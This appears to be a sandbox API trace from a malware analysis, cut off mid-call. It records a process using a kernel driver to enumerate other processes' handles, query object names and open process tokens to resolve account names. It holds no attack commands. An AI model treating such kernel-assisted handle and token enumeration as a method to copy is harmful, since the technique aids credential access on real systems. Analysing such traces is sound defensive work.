[0093.982] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.982] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.982] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.982] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.982] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.982] PsAcquireProcessExitSynchronization () returned 0x0 [0093.983] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.983] ObReferenceObjectByHandle (in: Handle=0x1210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.983] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.983] PsReleaseProcessExitSynchronization () returned 0x2 [0093.983] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.983] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.983] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.983] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.983] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.983] PsAcquireProcessExitSynchronization () returned 0x0 [0093.983] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.983] ObReferenceObjectByHandle (in: Handle=0x122c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.983] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.983] PsReleaseProcessExitSynchronization () returned 0x2 [0093.983] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.983] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.983] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.983] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.983] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.983] PsAcquireProcessExitSynchronization () returned 0x0 [0093.983] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.983] ObReferenceObjectByHandle (in: Handle=0x1254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.983] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.983] PsReleaseProcessExitSynchronization () returned 0x2 [0093.983] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.983] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.983] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.983] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0093.983] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.983] PsAcquireProcessExitSynchronization () returned 0x0 [0093.983] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.983] ObReferenceObjectByHandle (in: Handle=0x126c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0093.984] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.984] PsReleaseProcessExitSynchronization () returned 0x2 [0093.984] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.984] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.984] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.984] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0093.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.984] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8003235b30, HandleInformation=0x0) returned 0x0 [0093.984] ObOpenObjectByPointer (in: Object=0xfffffa8003235b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0093.984] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x88 [0093.984] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa80021772c0 | out: TokenHandle=0xfffffa80021772c0*=0xc8) returned 0x0 [0093.984] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0093.984] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.984] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.984] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.985] CloseHandle (hObject=0xc8) returned 1 [0093.985] CloseHandle (hObject=0xc0) returned 1 [0093.985] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.986] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.986] PsAcquireProcessExitSynchronization () returned 0x0 [0093.986] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0) [0093.986] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f72400, HandleInformation=0x0) returned 0x0 [0093.986] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.986] PsReleaseProcessExitSynchronization () returned 0x2 [0093.986] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0093.986] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.986] ObfDereferenceObject (Object=0xfffffa8002f72400) returned 0x1 [0093.986] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.986] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.986] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.986] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.986] PsAcquireProcessExitSynchronization () returned 0x0 [0093.986] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0) [0093.986] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003277b70, HandleInformation=0x0) returned 0x0 [0093.986] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.986] PsReleaseProcessExitSynchronization () returned 0x2 [0093.986] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0093.986] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.986] ObfDereferenceObject (Object=0xfffffa8003277b70) returned 0x1 [0093.986] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.986] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.986] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.986] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.986] PsAcquireProcessExitSynchronization () returned 0x0 [0093.986] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0) [0093.986] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003478070, HandleInformation=0x0) returned 0x0 [0093.986] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.987] PsReleaseProcessExitSynchronization () returned 0x2 [0093.987] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0093.987] ObQueryNameString (in: Object=0xfffffa8003478070, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.987] ObfDereferenceObject (Object=0xfffffa8003478070) returned 0x1 [0093.987] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.987] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.987] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.987] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.987] PsAcquireProcessExitSynchronization () returned 0x0 [0093.987] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0) [0093.987] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.987] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.987] PsReleaseProcessExitSynchronization () returned 0x2 [0093.987] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0093.987] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.987] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.987] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.987] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.987] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.987] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.987] PsAcquireProcessExitSynchronization () returned 0x0 [0093.987] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0) [0093.987] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.987] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.987] PsReleaseProcessExitSynchronization () returned 0x2 [0093.987] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0093.987] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.987] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.987] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.987] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.987] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0093.988] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.988] PsAcquireProcessExitSynchronization () returned 0x0 [0093.988] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0) [0093.988] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034f0800, HandleInformation=0x0) returned 0x0 [0093.988] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.988] PsReleaseProcessExitSynchronization () returned 0x2 [0093.988] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0093.988] ObQueryNameString (in: Object=0xfffffa80018ee4d0, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.988] ObfDereferenceObject (Object=0xfffffa80034f0800) returned 0x1 [0093.988] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.988] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.988] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0093.988] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.988] PsAcquireProcessExitSynchronization () returned 0x0 [0093.988] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880052335d0) [0093.988] ObReferenceObjectByHandle (in: Handle=0x2bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800326a070, HandleInformation=0x0) returned 0x0 [0093.988] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.988] PsReleaseProcessExitSynchronization () returned 0x2 [0093.988] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0093.988] ObQueryNameString (in: Object=0xfffffa800326a070, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.988] ObfDereferenceObject (Object=0xfffffa800326a070) returned 0x1 [0093.988] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.988] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.988] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4a8) returned 0xc0 [0093.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.988] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800eac7860, HandleInformation=0x0) returned 0x0 [0093.988] ObOpenObjectByPointer (in: Object=0xfffffa800eac7860, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0093.988] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0093.988] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa80021772c0 | out: TokenHandle=0xfffffa80021772c0*=0xc8) returned 0x0 [0093.988] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0093.989] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.989] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.989] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.990] CloseHandle (hObject=0xc8) returned 1 [0093.990] CloseHandle (hObject=0xc0) returned 1 [0093.990] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.990] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.990] PsAcquireProcessExitSynchronization () returned 0x0 [0093.990] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.990] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800327bf20, HandleInformation=0x0) returned 0x0 [0093.990] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.990] PsReleaseProcessExitSynchronization () returned 0x2 [0093.990] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.990] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.990] ObfDereferenceObject (Object=0xfffffa800327bf20) returned 0x1 [0093.990] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.990] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.991] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.991] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.991] PsAcquireProcessExitSynchronization () returned 0x0 [0093.991] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.991] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800327b2f0, HandleInformation=0x0) returned 0x0 [0093.991] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.991] PsReleaseProcessExitSynchronization () returned 0x2 [0093.991] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.991] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.991] ObfDereferenceObject (Object=0xfffffa800327b2f0) returned 0x1 [0093.991] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.991] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.991] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.991] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.991] PsAcquireProcessExitSynchronization () returned 0x0 [0093.991] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880052335d0) [0093.991] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0093.991] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.991] PsReleaseProcessExitSynchronization () returned 0x2 [0093.991] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0093.991] ObQueryNameString (in: 